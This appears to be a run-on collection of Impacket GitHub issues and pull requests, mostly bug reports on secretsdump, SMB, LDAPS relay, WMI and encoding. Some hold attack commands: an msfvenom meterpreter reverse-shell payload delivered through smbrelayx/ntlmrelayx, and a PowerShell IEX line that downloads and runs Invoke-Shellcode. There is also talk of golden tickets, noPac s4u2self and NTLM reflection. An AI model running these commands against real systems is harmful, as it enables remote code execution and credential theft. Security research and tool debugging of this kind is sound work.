Hi all, after generating a golden ticket, I go to try and use the wmiexec.py example with the -k and -no-pass options, but I am getting a strange exception:

ConstraintsIntersection(ConstraintsIntersection(), ConstraintsUnion(SingleValueConstraint(11), SingleValueConstraint(13))) failed at: ValueConstraintError('ConstraintsUnion(SingleValueConstraint(11), SingleValueConstraint(13)) failed at: ValueConstraintError('all of (SingleValueConstraint(11), SingleValueConstraint(13)) failed for "15"',)',) at Integer

Did I generate my ticket incorrectly or something?

Version impacket

v0.9.23.dev1+20201203.125520.aa0c78ad

Command line execution used

python3 smbrelayx.py -h 192.168.43.83 -e ./metasploit_payload.exe (virus.exe)

it same too if i use ntlmrelayx, eg: python3 ntlmrelayx.py -t 192.168.43.83 -e metasploit_payload.exe

Metasploit payload i create

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.231 LPORT=4444 -o metasploit_payload.exe (virus.exe)

Client version

windows 7

server version

kali linux 2020.4

Problem

Hey, i want to relay authenthication from the client to the server(attacker) but the client not relay the aunthentication. When i allow the SMB share on the client \192.168.43.231. It show the message :

Ok. now i want to test if the client can send the authentication. So if i able to capture it, yes, in that case i can deliver my metasploit_payload.exe to the target machine. But i can't capture the authentication. It show the message below:

Sorry this only a question, because i don't now how to fix it. I read many blog but i'm still can't find a solution.

Hi,

I'm having an issue with secretsdump.py on a ntds.dit file coming from a Windows Server 2016. When I run secretsdump.py on it:

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

It returns the following:

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Target system bootKey: 0xc03fcc27eb232e8cf9aedfe9dccb2af8
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[-] Error while calling getNextRow(), trying the next one

Previously, I was on the v.0.9.16-dev branch, and I had an utf16 codec error.

Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Target system bootKey: 0xc03fcc27eb232e8cf9aedfe9dccb2af8
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[-] 'utf16' codec can't decode bytes in position 0-1: illegal encoding
[*] Cleaning up...

Is it possible that Impacket isn't updated to support the extraction of ntds.dit files from a Windows Server 2016 yet? I can provide all the logs, and debugging data needed (minus the actual ntds.dit and SYSTEM files, obviously).

Thank you.

Hello,

I've been long time user of impacket lib for smb2/3 ops purpose.

I'm trying to connect to NetApp CIFS server using SMBConnection or SMB3 instance directly too.but i get invalid status error on below scenarios.

I see that Negotiate request/response went well. Negotiate response {{{ Frame 174: 284 bytes on wire (2272 bits), 284 bytes captured (2272 bits) Ethernet II, Src: HewlettP_d7:5e:c0 (00:9c:02:d7:5e:c0), Dst: Apple_c6:56:be (78:31:c1:c6:56:be) Internet Protocol Version 4, Src: 10.1.9.175, Dst: 10.2.5.12 Transmission Control Protocol, Src Port: 445, Dst Port: 64322, Seq: 1, Ack: 111, Len: 218 NetBIOS Session Service SMB2 (Server Message Block Protocol version 2) SMB2 Header Negotiate Protocol Response (0x00) StructureSize: 0x0041 Security mode: 0x01, Signing enabled Dialect: 0x0202 NegotiateContextCount: 0 Server Guid: 00000015-b63d-0da0-c778-844ebee2a553 Capabilities: 0x00000001, DFS Max Transaction Size: 65536 Max Read Size: 65536 Max Write Size: 65536 Current Time: Dec 1, 2016 11:41:05.799077000 EST Boot Time: Sep 12, 2016 10:53:20.891304000 EDT Security Blob: 605406062b0601050502a04a3048a024302206092a864882... Offset: 0x00000080 Length: 86 GSS-API Generic Security Service Application Program Interface OID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation) Simple Protected Negotiation negTokenInit mechTypes: 3 items MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5) MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5) MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider) negHints hintName: server_name@domain_name <-- hided on purpose NegotiateContextOffset: 0x0000 }}}

Session setup request {{{ Frame 207: 224 bytes on wire (1792 bits), 224 bytes captured (1792 bits) Ethernet II, Src: Apple_c6:56:be (78:31:c1:c6:56:be), Dst: HewlettP_d7:5e:c0 (00:9c:02:d7:5e:c0) Internet Protocol Version 4, Src: 10.2.5.12, Dst: 10.1.9.175 Transmission Control Protocol, Src Port: 64322, Dst Port: 445, Seq: 111, Ack: 219, Len: 158 NetBIOS Session Service SMB2 (Server Message Block Protocol version 2) SMB2 Header Session Setup Request (0x01) StructureSize: 0x0019 Flags: 0 Security mode: 0x01, Signing enabled Capabilities: 0x00000001, DFS Channel: None (0x00000000) Previous Session Id: 0x0000000000000000 Security Blob: 604006062b0601050502a0363034a00e300c060a2b060104... Offset: 0x00000058 Length: 66 GSS-API Generic Security Service Application Program Interface OID: 1.3.6.1.5.5.2 (SPNEGO - Simple Protected Negotiation) Simple Protected Negotiation negTokenInit mechTypes: 1 item MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider) mechToken: 4e544c4d5353500001000000078208200000000000000000... NTLM Secure Service Provider NTLMSSP identifier: NTLMSSP NTLM Message Type: NTLMSSP_NEGOTIATE (0x00000001) Negotiate Flags: 0x20088207, Negotiate 128, Negotiate Extended Security, Negotiate NTLM key, Request Target, Negotiate OEM, Negotiate UNICODE Calling workstation domain: NULL Calling workstation name: NULL }}}

Session setup response. {{{ Frame 208: 143 bytes on wire (1144 bits), 143 bytes captured (1144 bits) Ethernet II, Src: HewlettP_d7:5e:c0 (00:9c:02:d7:5e:c0), Dst: Apple_c6:56:be (78:31:c1:c6:56:be) Internet Protocol Version 4, Src: 10.1.9.175, Dst: 10.2.5.12 Transmission Control Protocol, Src Port: 445, Dst Port: 64322, Seq: 219, Ack: 269, Len: 77 NetBIOS Session Service SMB2 (Server Message Block Protocol version 2) SMB2 Header Server Component: SMB2 Header Length: 64 Credit Charge: 0 NT Status: STATUS_INVALID_PARAMETER (0xc000000d) Command: Session Setup (1) Credits granted: 0 Flags: 0x00000001, Response Chain Offset: 0x00000000 Message ID: 0 Process Id: 0x00000000 Tree Id: 0x00000000 Session Id: 0x0000000000000000 Signature: 00000000000000000000000000000000 [Response to: 207] [Time from request: 0.002369000 seconds] Session Setup Response (0x01) StructureSize: 0x0009 Session Flags: 0x0000 Security Blob: : NO DATA Offset: 0x00000000 Length: 0 }}}

Scenario : 1 NetApp server with SMB2 dialect, login fails. `{

c = SMBConnection(remoteName='netapp-server', remoteHost='10.1.9.175', myName=None, sess_port=445, preferredDialect=514) c.login("user1", "password1", "domain1") Traceback (most recent call last): File "", line 1, in File "/usr/local/lib/python2.7/site-packages/impacket/smbconnection.py", line 264, in login raise SessionError(e.get_error_code()) SessionError: SMB SessionError: STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or function.)`

I connect to our private CIFS server successfully when i provide valid dialect. `{

c = SMBConnection(remoteName='local-1', remoteHost='10.1.29.12', myName=None, sess_port=445, preferredDialect=514) c.login("user1", "password1", "domain1") True c.getDialect() 514 <--- SMB2`

Scenario: 2 Local server: If i dont provide preferredDialect then it fails in negotiation step itself.

`{

c = SMBConnection(remoteName='local-1', remoteHost='10.1.29.12', myName=None, sess_port=445, preferredDialect=None) Traceback (most recent call last): File "", line 1, in File "/usr/local/lib/python2.7/site-packages/impacket/smbconnection.py", line 74, in init self.negotiateSession(preferredDialect) File "/usr/local/lib/python2.7/site-packages/impacket/smbconnection.py", line 118, in negotiateSession session=self._nmbSession, preferredDialect=514) File "/usr/local/lib/python2.7/site-packages/impacket/smb3.py", line 242, in init self.negotiateSession(preferredDialect) File "/usr/local/lib/python2.7/site-packages/impacket/smb3.py", line 458, in negotiateSession ans = self.recvSMB(packetID) File "/usr/local/lib/python2.7/site-packages/impacket/smb3.py", line 381, in recvSMB data = self._NetBIOSSession.recv_packet(self._timeout) File "/usr/local/lib/python2.7/site-packages/impacket/nmb.py", line 854, in recv_packet data = self.__read(timeout) File "/usr/local/lib/python2.7/site-packages/impacket/nmb.py", line 932, in __read data = self.read_function(4, timeout) File "/usr/local/lib/python2.7/site-packages/impacket/nmb.py", line 921, in non_polling_read raise NetBIOSError, ('Error while reading from remote', ERRCLASS_OS, None) NetBIOSError: Error while reading from remote`

NetApp cifs server with no preferredDialect STATUS_INVALID_PARAMETER. So it actually reads from the socket but gets unexpected status in negotiation phase. `{

c = SMBConnection(remoteName='netapp-server', remoteHost='10.1.9.175', myName=None, sess_port=445, preferredDialect=None) Traceback (most recent call last): File "", line 1, in File "/usr/local/lib/python2.7/site-packages/impacket/smbconnection.py", line 74, in init self.negotiateSession(preferredDialect) File "/usr/local/lib/python2.7/site-packages/impacket/smbconnection.py", line 118, in negotiateSession session=self._nmbSession, preferredDialect=514) File "/usr/local/lib/python2.7/site-packages/impacket/smb3.py", line 242, in init self.negotiateSession(preferredDialect) File "/usr/local/lib/python2.7/site-packages/impacket/smb3.py", line 459, in negotiateSession if ans.isValidAnswer(STATUS_SUCCESS): File "/usr/local/lib/python2.7/site-packages/impacket/smb3structs.py", line 430, in isValidAnswer raise smb3.SessionError(self['Status'], self) SessionError: SMB SessionError: STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or function.)`

Settings on NetApp server {{{ netapp-server> options cifs.smb2 cifs.smb2.enable on cifs.smb2.signing.max_threads 0 cifs.smb2.signing.multiprocessing disabled cifs.smb2.signing.required off cifs.smb2_1.branch_cache.enable off cifs.smb2_1.branch_cache.hash_time_out 3600 (value might be overwritten in takeover) netapp-server> options cifs.signing cifs.signing.enable off }}}

I have compared pcap from mac/windows while connecting to cifs server using libsmb.py haven't found any field that is wrong or unexpected. I have also checked NTLMSSP flags and tried variations to see if there is any unsupported flag. but luck.

I can connect to same cifs servers from windows 7 using smb2.

Any help would be appreciated, where to look or if am i missing any setting on server side.

Thank you.

We should add Python3 support for the library. Ideally, the same codebase should run on both versions.

I've just created a python3 branch to work on porting the existing code.

structure.py, which is a core component for the library, seems to be working on Python3 now. A lot of testing is needed tho.

PRs welcomed!

Hi!

I'm facing the issue when using relay for LDAPs traffic. Whole exception with -debug flug:

[-] Exception in HTTP request handler: ('unable to open socket', [(LDAPSocketOpenError('socket ssl wrapping error: [Errno 104] Connection reset by peer',), ('A.B.C.D', 636))]) [+] Traceback (most recent call last): File "build/bdist.linux-x86_64/egg/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 72, in handle_one_request SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request method() File "build/bdist.linux-x86_64/egg/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 193, in do_GET if not self.do_ntlm_negotiate(token, proxy=proxy): File "build/bdist.linux-x86_64/egg/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 261, in do_ntlm_negotiate if not self.client.initConnection(): File "build/bdist.linux-x86_64/egg/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py", line 144, in initConnection self.session.open(False) File "/usr/local/lib/python2.7/dist-packages/ldap3/strategy/sync.py", line 56, in open BaseStrategy.open(self, reset_usage, read_server_info) File "/usr/local/lib/python2.7/dist-packages/ldap3/strategy/base.py", line 147, in open raise LDAPSocketOpenError('unable to open socket', exception_history) LDAPSocketOpenError: ('unable to open socket', [(LDAPSocketOpenError('socket ssl wrapping error: [Errno 104] Connection reset by peer',), ('A.B.C.D', 636))])

System:

• Python 2.7.15+
• up to date Kali
• up to date impacket
• ldap3 tested both 2.5.1 and 2.5.2

Same problem was slightly touched in #514, where @dirkjanm mentioned:

(..) it has something to do with whether the SSL certificates are set correctly on the server. Usually targeting another DC worked

I have access to ~12 AD systems (2012 R2 and 2016), targeting any of them results into this error. Connections using ldp.exe works well (along with many production calls to some of ADs):

LDAP signing not enabled:

Behavior is that LDAPs service RST connection just after TLS hello is received:

So this is not caused by ntlmrelayx not trusting LDAPs sertificate - it's about LDAPs refusing this TLS hello packet.

Any ideas?

What steps will reproduce the problem?
1. Download the 0.9.9.9.9 version
2. run setup.py install
3. run samrdump.py <ip>

What is the expected output? What do you see instead?
The normal smb enumeration info are expected, but it returns:

Traceback (most recent call last):
  File "/usr/local/bin/samrdump.py", line 24, in <module>
    from impacket import uuid, version
ImportError: cannot import name version


What version of the product are you using? On what operating system?
The last one (impacket-0.9.9.9.tar.gz) - Linux Backtrack 5r3

Please provide any additional information below.

Original issue reported on code.google.com by [email protected] on 18 Jan 2013 at 1:57

I'm playing with no-pac exploitation recently, the last step is doing a s4u2self request, and we don't need to do s4u2proxy request. But I found that impacket's getST.py has no support for this, and it doesn't support service modification of the returned TGS ticket. Even there is a feature called AnySPN in impacket, but it won't work in this special situation here is the result of smbclient.py before my modification to getST.py

after I made some changes to getST.py, I'm able to get a service ticket with the SPN I specified in the command line

getST.py my.domain/WIN-ER6H1V81DV9 -no-pass -k -dc-ip 192.168.25.177 -impersonate Administrator -alt-service CIFS/WIN-ER6H1V81DV9.my.domain -s4u2self -spn WIN-ER6H1V81DV9 -debug smbclient.py works just fine

HI all,

I'm a little bit confused of what are the options for a reflection attack (NTLM auth back to the victim which is different from a general relay attack) on an up-to-date W10 host. Let me explain what i have understand :

• SMB NTLM auth reflect back to SMB is patched since 2008 (MS08-068)
• NTLM auth reflect back to SMB (like HTTP => SMB) is patched since 2016. This was the goal of Hot Potato by @breenmachine
• DCOM DCE (via BITS) to RPC endpoint (TCP port 135) is still working (RottenPotato by @breenmachine or lonelypotato by @decoder-it) Ok, but demo of these attacks is always done on the victim's host (loopback @IP). Well, my questions are:
• Is it possible to manage these reflection attack (or another) over the local network on an fully update W10 host?
• Does Impacket implement these attacks ? I know that @asolino and @dirkjanm discussed about it in an 2 years old issue (https://github.com/CoreSecurity/impacket/issues/188#issue-170611239) but conclusion was quite unclear for me.

Regards,

Rémi

Hello @asolino, I'll use this thread to report various utf-8 issues :)

Let's start with smbclient.py:

$ smbclient.py <login>:<pwd>@192.168.11.144
# shares
ADMIN$
C$
IPC$
NETLOGON
share
SYSVOL
àéyoloshare
# cd àéyoloshare
[-] 'utf8' codec can't decode byte 0x85 in position 3: invalid start byte

I know utf handling is a pain...That's a long struggle with CrackMapExec (hello @byt3bl33d3r) :)

Cheers !

Hey man!

I'm currently trying to download powershell scripts over smb on Windows 10 using the following command:

IEX (New-Object Net.WebClient).DownloadString("file://172.16.112.1/TMP/Invoke-Shellcode.ps1");

smbserver.py and my custom smb server class give me the following output:

2015-10-31 18:54:11 Config file parsed
2015-10-31 18:54:11 Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
2015-10-31 18:54:11 Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
2015-10-31 18:54:17 Incoming connection (172.16.112.130,51854)
2015-10-31 18:54:17 Not implemented command: 0x0
2015-10-31 18:54:17 Handle: [Errno 104] Connection reset by peer
2015-10-31 18:54:17 Closing down connection (172.16.112.130,51854)

Let me know if you need some additional information.

Cheers

See #1448. I'm not sure how tightly integrated you'd want this to be in impacket, so I opted for a simple compatibility shim. This can of course be changed to a full replacement of the existing ESE implementation.

This should bring a considerable performance improvement to secretsdump. My sample AD with only 3 users already sees an improvement (1s vs 2s), but in the past we've seen domains with over 100k users take less than a minute, whereas the original secretsdump would take >24 hours.

@dirkjanm

https://github.com/fox-it/dissect.esedb

During a client engagement I noticed that, when relaying a valid domain admin account to a domain controller (which has signing disabled) and attempting to dump credentials using secretsdump (default action when -c parameter is not specified), it fails for NTDS dit.

To fix this, I had to run socks and then run secretsdump using --use-vss. Any chance custom parameters can be included in ntlmrelayx when secretsdump is ran?

In Python3.10, the default TLS cipher settings have been set to a more secure level. See: https://bugs.python.org/issue43998

The change makes sense for general users, but Impacket is regularly used to access old Windows computers that present certs signed using MD5 or don't support anything higher than TLSv1.0. Impacket users arguably care more about exploiting weaknesses than requiring super secure TLS settings, so this patch lowers the cipher settings to the lowest value. This is in line with the current behavior of not validating certificates at all.

Note that this will not help if the TLS handshake fails due to certificate issues until this bug is fixed in ldap3: https://github.com/cannatag/ldap3/pull/1067

Hello @dirkjanm,

Now that the dissect module is open-source, what about publishing that exciting secretsdump code reimplementation improvement with that module ?

Cheers !

Configuration

impacket version: v0.10.0 Python version: Python 3.6.8 Target OS: WMI 6.3.9600 | 2012R2

Debug Output With Command String

/opt/python-virtualenv/impacket/bin/wmiquery.py -debug 'AD/USER:PASS@IP' -namespace root/mscluster -rpc-auth-level privacy -f <( echo 'SELECT Name FROM MSCluster_Node' ) Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[+] Impacket Library Installation Path: /opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket [+] Target system is SERVERIP and isFQDN is False [+] StringBinding: SERVERNAME[24158] [+] StringBinding: SERVERIP[24158] [+] StringBinding chosen: ncacn_ip_tcp:SERVERIP[24158] WQL> SELECT Name FROM MSCluster_Node Traceback (most recent call last): File "/usr/lib64/python3.6/cmd.py", line 214, in onecmd func = getattr(self, 'do_' + cmd) AttributeError: 'WMIQUERY' object has no attribute 'do_SELECT'

During handling of the above exception, another exception occurred:

Traceback (most recent call last): File "/opt/python-virtualenv/impacket/bin/wmiquery.py", line 84, in printReply pEnum = iEnum.Next(0xffffffff,1)[0] File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/dcerpc/v5/dcom/wmi.py", line 2951, in Next oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices)) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/dcerpc/v5/dcom/wmi.py", line 2328, in init self.encodingUnit = ENCODING_UNIT(objRef['pObjectData']) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 87, in init self.fromString(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 152, in fromString self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0]) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 382, in unpack return dataClassOrCode(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/dcerpc/v5/dcom/wmi.py", line 895, in init self.fromString(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 152, in fromString self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0]) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 382, in unpack return dataClassOrCode(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/dcerpc/v5/dcom/wmi.py", line 795, in init Structure.init(self, data, alignment) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 87, in init self.fromString(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 152, in fromString self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0]) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 382, in unpack return dataClassOrCode(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 87, in init self.fromString(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 152, in fromString self[field[0]] = self.unpack(field[1], data[:size], dataClassOrCode = dataClassOrCode, field = field[0]) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/structure.py", line 382, in unpack return dataClassOrCode(data) File "/opt/python-virtualenv/impacket/lib/python3.6/site-packages/impacket/dcerpc/v5/dcom/wmi.py", line 765, in init raise Exception("self['InstPropQualSetFlag'] == 2") Exception: ("self['InstPropQualSetFlag'] == 2", "When unpacking field 'InstancePropQualifierSet | : | b'\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:5904]'", "When unpacking field 'InstanceQualifierSet | : | b'\x04\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:5908]'", "When unpacking field 'InstanceType | : | b'\xef\x05\x046\x07\x80\x01\x0b\xff\xff\x10\x03\t\x04\x06\x80\x08\x18-\x083\x01[a\x03\x93\x80MSCluster_NodeLocaleMS_CLUSTER_PROVIDERUUID{C306EBED-0654-4360-AA70-DE912C5FC364}Name\x08@\x1c\n\x80#\x08\x8b\x01\x803\x0b\xff\xffstringz\x10\x04\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:6161]'", "When unpacking field 'ObjectBlock | : | b'\x12\xef\x05\x046\x07\x80\x01\x0b\xff\xff\x10\x03\t\x04\x06\x80\x08\x18-\x083\x01[a\x03\x93\x80MSCluster_NodeLocaleMS_CLUSTER_PROVIDERUUID{C306EBED-0654-4360-AA70-DE912C5FC364}Name\x08@\x1c\n\x80#\x08\x8b\x01\x803\x0b\xff\xffstringz\x10\x04\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:6162]'") [-] ("self['InstPropQualSetFlag'] == 2", "When unpacking field 'InstancePropQualifierSet | : | b'\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:5904]'", "When unpacking field 'InstanceQualifierSet | : | b'\x04\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:5908]'", "When unpacking field 'InstanceType | : | b'\xef\x05\x046\x07\x80\x01\x0b\xff\xff\x10\x03\t\x04\x06\x80\x08\x18-\x083\x01[a\x03\x93\x80MSCluster_NodeLocaleMS_CLUSTER_PROVIDERUUID{C306EBED-0654-4360-AA70-DE912C5FC364}Name\x08@\x1c\n\x80#\x08\x8b\x01\x803\x0b\xff\xffstringz\x10\x04\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:6161]'", "When unpacking field 'ObjectBlock | : | b'\x12\xef\x05\x046\x07\x80\x01\x0b\xff\xff\x10\x03\t\x04\x06\x80\x08\x18-\x083\x01[a\x03\x93\x80MSCluster_NodeLocaleMS_CLUSTER_PROVIDERUUID{C306EBED-0654-4360-AA70-DE912C5FC364}Name\x08@\x1c\n\x80#\x08\x8b\x01\x803\x0b\xff\xffstringz\x10\x04\x02\x1e\x1f\x11\x08-7\x11\x03\x03E\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType\x1c\x02\x80MSCluster_NodeNODESERVER01PropertyNameNodeNamePropertyType'[:6162]'")

Additional context

It seem, when you try to get the Names of the nodes from MSCluster_Node class it breaks. It is only for the "Name" property. Thise where repalce to sanitize the output AD/USER:PASS@IP, SERVERIP, SERVERNAME, NODESERVERNAME, NODESERVER01. There was alot of "\x00" in the output that I removed to reduce it.